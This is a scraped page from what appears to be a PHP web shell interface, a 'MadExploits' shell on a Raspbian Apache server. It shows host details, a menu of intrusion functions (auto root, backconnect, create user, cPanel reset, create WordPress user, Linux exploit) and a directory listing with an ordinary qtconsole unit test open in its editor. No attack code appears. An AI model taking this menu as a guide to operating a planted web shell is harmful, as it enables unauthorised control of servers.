Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
qtconsole /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
test_ansi_code_processor.py
7.17
KB
-rw-r--r--
test_app.py
838
B
-rw-r--r--
test_completion_widget.py
2.02
KB
-rw-r--r--
test_console_widget.py
6.81
KB
-rw-r--r--
test_jupyter_widget.py
1.15
KB
-rw-r--r--
test_kill_ring.py
2.18
KB
-rw-r--r--
test_styles.py
518
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_jupyter_widget.py
import unittest from qtconsole.qt import QtGui from qtconsole.qt_loaders import load_qtest from qtconsole.jupyter_widget import JupyterWidget import ipython_genutils.testing.decorators as dec setup = dec.skip_file_no_x11(__name__) QTest = load_qtest() class TestConsoleWidget(unittest.TestCase): @classmethod def setUpClass(cls): """ Create the application for the test case. """ cls._app = QtGui.QApplication.instance() if cls._app is None: cls._app = QtGui.QApplication([]) cls._app.setQuitOnLastWindowClosed(False) @classmethod def tearDownClass(cls): """ Exit the application. """ QtGui.QApplication.quit() def test_stylesheet_changed(self): """ Test changing stylesheets. """ w = JupyterWidget(kind='rich') # By default, the background is light. White text is rendered as black self.assertEqual(w._ansi_processor.get_color(15).name(), '#000000') # Change to a dark colorscheme. White text is rendered as white w.syntax_style = 'monokai' self.assertEqual(w._ansi_processor.get_color(15).name(), '#ffffff')
Close